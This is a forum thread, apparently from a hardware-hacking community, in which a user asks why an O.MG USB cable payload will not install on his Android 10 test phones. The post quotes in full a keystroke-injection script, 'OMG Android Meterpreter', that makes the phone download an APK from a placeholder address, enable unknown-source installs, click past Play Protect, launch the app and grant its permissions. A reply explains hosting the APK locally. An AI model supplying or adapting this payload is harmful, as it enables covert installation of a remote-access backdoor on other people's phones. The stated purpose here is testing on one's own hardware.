Jump to content

OMG USB Cable -Payload generated - not installing on my test mobile


Bear99
 Share

Recommended Posts

Hi,

Successfully generated the payload using the github text file .

Both my phones are android 10.

But it is not installing on my test mobile phone samsung galaxy s9 or google pixel XL.

my samsung phone opens and it keeps saying  unable to find the address message(chrome) -- https://ipaddressofthe phone/omg.apk -- looks like hosting part is missing

Any help to fix this issue

https://github.com/hak5/omg-payloads/blob/master/payloads/library/mobile/android/meterpreter/payload-alt-MG-Android10.txt

File from github

REM # -----------------------------------------------------------
REM # Title: OMG Android Meterpreter
REM # Description: Download and install an APK on Android. 
REM # Alt payload approach by moving around the GUI with less tabs
REM # Timing is very tight, you probably want to increase the delays
REM # 
REM # Author: @_MG_ 
REM # Target: Android 10
REM # Notes: Set URL for APK payload below
REM # -----------------------------------------------------------

REM # -----------------------------------------------------------
REM # clear screen (Not needed, but helps for demos)
REM # -----------------------------------------------------------

GUI ENTER
DELAY 1000
GUI ENTER

REM # -----------------------------------------------------------
REM # launch browser and download apk
REM # -----------------------------------------------------------

GUI b
DELAY 1000
CTRL l
DELAY 50
STRING https://x.x.x.x/omg.apk
ENTER
DELAY 2000

REM # -----------------------------------------------------------
REM # open apk with My Files
REM # -----------------------------------------------------------

GUI r
DELAY 500
CTRL f
STRING omg.apk
DELAY 500
ENTER
DELAY 500
TAB
DELAY 500
ENTER
DELAY 1000

REM # -----------------------------------------------------------
REM # open settings and allow install from unknown sources
REM # -----------------------------------------------------------

RIGHT
ENTER
DELAY 500
DOWN
DOWN
ENTER

REM # -----------------------------------------------------------
REM # switch back to My Files and install apk
REM # -----------------------------------------------------------

GUI r
ENTER
TAB
DELAY 500
ENTER
DELAY 1000

REM # -----------------------------------------------------------
REM # Blocked by Play Protect - install anyway
REM # -----------------------------------------------------------

TAB
ENTER
DELAY 1000

REM # -----------------------------------------------------------
REM # open app from the installed window
REM # -----------------------------------------------------------

TAB
ENTER

REM # -----------------------------------------------------------
REM # allow requested app permissions
REM # -----------------------------------------------------------

RIGHT
ENTER

REM # -----------------------------------------------------------
REM # clear screen
REM # -----------------------------------------------------------

GUI ENTER
Link to comment
Share on other sites

Quote

looks like hosting part is missing

Well yeah, you'll need to host the APK somewhere yourself.

If it's just for testing on your own hardware locally, you could run a small web server on your computer, make sure the phone is connected to the same network, and point the URL in the pauload to the APK file hosted on your computer.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...